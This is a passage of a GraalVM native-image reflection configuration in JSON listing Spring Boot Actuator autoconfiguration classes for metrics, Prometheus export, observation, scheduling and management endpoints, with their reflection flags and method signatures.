\"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$Data$Repository\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$Distribution\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$System\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$System$Diskspace\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$Web\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$Web$Client\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties$Web$Server\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.NoOpMeterRegistryConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.PropertiesMeterFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"accept\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"configure\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\",\"io.micrometer.core.instrument.distribution.DistributionStatisticConfig\"] }, {\"name\":\"map\",\"parameterTypes\":[\"io.micrometer.core.instrument.Meter$Id\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.ServiceLevelObjectiveBoundary\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.ServiceLevelObjectiveBoundary$ServiceLevelObjectiveBoundaryHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.ServiceLevelObjectiveBoundary.ServiceLevelObjectiveBoundaryHints\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.SystemMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"diskSpaceMetrics\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties\"] }, {\"name\":\"fileDescriptorMetrics\",\"parameterTypes\":[] }, {\"name\":\"processorMetrics\",\"parameterTypes\":[] }, {\"name\":\"uptimeMetrics\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.ValidationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.ConditionalOnEnabledMetricsExport\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.OnMetricsExportEnabledCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusMetricsExportAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusProperties$HistogramFlavor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusProperties$Pushgateway\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusSimpleclientMetricsExportAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"collectorRegistry\",\"parameterTypes\":[] }, {\"name\":\"simpleclientPrometheusConfig\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusProperties\"] }, {\"name\":\"simpleclientPrometheusMeterRegistry\",\"parameterTypes\":[\"io.micrometer.prometheus.PrometheusConfig\",\"io.prometheus.client.CollectorRegistry\",\"io.micrometer.core.instrument.Clock\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusSimpleclientMetricsExportAutoConfiguration$PrometheusScrapeEndpointConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"prometheusEndpoint\",\"parameterTypes\":[\"io.prometheus.client.CollectorRegistry\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusSimpleclientPropertiesConfigAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"descriptions\",\"parameterTypes\":[] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"histogramFlavor\",\"parameterTypes\":[] }, {\"name\":\"prefix\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"step\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.properties.PropertiesConfigAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.export.simple.SimpleMetricsExportAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.integration.IntegrationMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.jdbc.DataSourcePoolMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.jdbc.DataSourcePoolMetricsAutoConfiguration$DataSourcePoolMetadataMetricsConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dataSourcePoolMetadataMeterBinder\",\"parameterTypes\":[\"java.util.Map\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.jdbc.DataSourcePoolMetricsAutoConfiguration$DataSourcePoolMetadataMetricsConfiguration$DataSourcePoolMetadataMeterBinder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.jdbc.DataSourcePoolMetricsAutoConfiguration$HikariDataSourceMetricsConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"hikariDataSourceMeterBinder\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.jdbc.DataSourcePoolMetricsAutoConfiguration$HikariDataSourceMetricsConfiguration$HikariDataSourceMeterBinder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"bindTo\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.startup.StartupTimeMetricsListenerAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"startupTimeMetrics\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.task.TaskExecutorMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"bindTaskExecutorsToRegistry\",\"parameterTypes\":[\"java.util.Map\",\"io.micrometer.core.instrument.MeterRegistry\"] }, {\"name\":\"eagerTaskExecutorMetrics\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.metrics.web.tomcat.TomcatMetricsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"tomcatMetricsBinder\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"observationRegistry\",\"parameterTypes\":[] }, {\"name\":\"observationRegistryPostProcessor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"propertiesObservationFilter\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationAutoConfiguration$MeterObservationHandlerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationAutoConfiguration$MeterObservationHandlerConfiguration$OnlyMetricsMeterObservationHandlerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"defaultMeterObservationHandler\",\"parameterTypes\":[\"io.micrometer.core.instrument.MeterRegistry\",\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationAutoConfiguration$ObservedAspectConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"observedAspect\",\"parameterTypes\":[\"io.micrometer.observation.ObservationRegistry\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationAutoConfiguration$OnlyMetricsConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"metricsObservationHandlerGrouping\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationHandlerGrouping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties$Http\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties$Http$Client\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties$Http$Client$ClientRequests\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties$Http$Server\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties$Http$Server$ServerRequests\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties$LongTaskTimer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationRegistryConfigurer\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.ObservationRegistryPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessAfterInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.PropertiesObservationFilterPredicate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"map\",\"parameterTypes\":[\"io.micrometer.observation.Observation$Context\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"test\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.client.HttpClientObservationsAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.client.HttpClientObservationsAutoConfiguration$MeterFilterConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"metricsHttpClientUriTagFilter\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\",\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.client.RestClientObservationConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"observationRestClientCustomizer\",\"parameterTypes\":[\"io.micrometer.observation.ObservationRegistry\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.client.RestTemplateObservationConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"observationRestTemplateCustomizer\",\"parameterTypes\":[\"io.micrometer.observation.ObservationRegistry\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.client.WebClientObservationConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.servlet.WebMvcObservationAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"webMvcObservationFilter\",\"parameterTypes\":[\"io.micrometer.observation.ObservationRegistry\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.observation.web.servlet.WebMvcObservationAutoConfiguration$MeterFilterConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"metricsHttpServerUriTagFilter\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.observation.ObservationProperties\",\"org.springframework.boot.actuate.autoconfigure.metrics.MetricsProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.sbom.SbomEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.actuate.sbom.SbomProperties\"] }, {\"name\":\"sbomEndpoint\",\"parameterTypes\":[\"org.springframework.core.io.ResourceLoader\"] }, {\"name\":\"sbomEndpointWebExtension\",\"parameterTypes\":[\"org.springframework.boot.actuate.sbom.SbomEndpoint\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.scheduling.ScheduledTasksEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"scheduledTasksEndpoint\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.scheduling.ScheduledTasksObservabilityAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"observabilitySchedulingConfigurer\",\"parameterTypes\":[\"io.micrometer.observation.ObservationRegistry\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.scheduling.ScheduledTasksObservabilityAutoConfiguration$ObservabilitySchedulingConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"configureTasks\",\"parameterTypes\":[\"org.springframework.scheduling.config.ScheduledTaskRegistrar\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.security.servlet.SecurityRequestMatchersManagementContextConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.security.servlet.SecurityRequestMatchersManagementContextConfiguration$MvcRequestMatcherConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"requestMatcherProvider\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletPath\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.startup.StartupEndpointAutoConfiguration$ApplicationStartupCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.system.DiskSpaceHealthContributorAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"diskSpaceHealthIndicator\",\"parameterTypes\":[\"org.springframework.boot.actuate.autoconfigure.system.DiskSpaceHealthIndicatorProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.system.DiskSpaceHealthIndicatorProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.tracing.LogCorrelationEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.tracing.MicrometerTracingAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.ManagementContextConfiguration\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.ManagementContextFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.ManagementContextType\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.exchanges.HttpExchangesAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.exchanges.HttpExchangesEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.mappings.MappingsEndpointAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"mappingsEndpoint\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.mappings.MappingsEndpointAutoConfiguration$ServletWebConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"filterMappingDescriptionProvider\",\"parameterTypes\":[] }, {\"name\":\"servletMappingDescriptionProvider\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.mappings.MappingsEndpointAutoConfiguration$ServletWebConfiguration$SpringMvcConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dispatcherServletMappingDescriptionProvider\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ConditionalOnManagementPort\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.EnableManagementContext\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ManagementContextAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ManagementContextAutoConfiguration$SameManagementContextConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }, {\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ManagementContextAutoConfiguration$SameManagementContextConfiguration$EnableSameManagementContextConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ManagementContextConfigurationImportSelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ManagementPortType\"\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.ManagementServerProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.server.OnManagementPortCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.actuate.autoconfigure.web.servlet.ManagementServletContext\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, 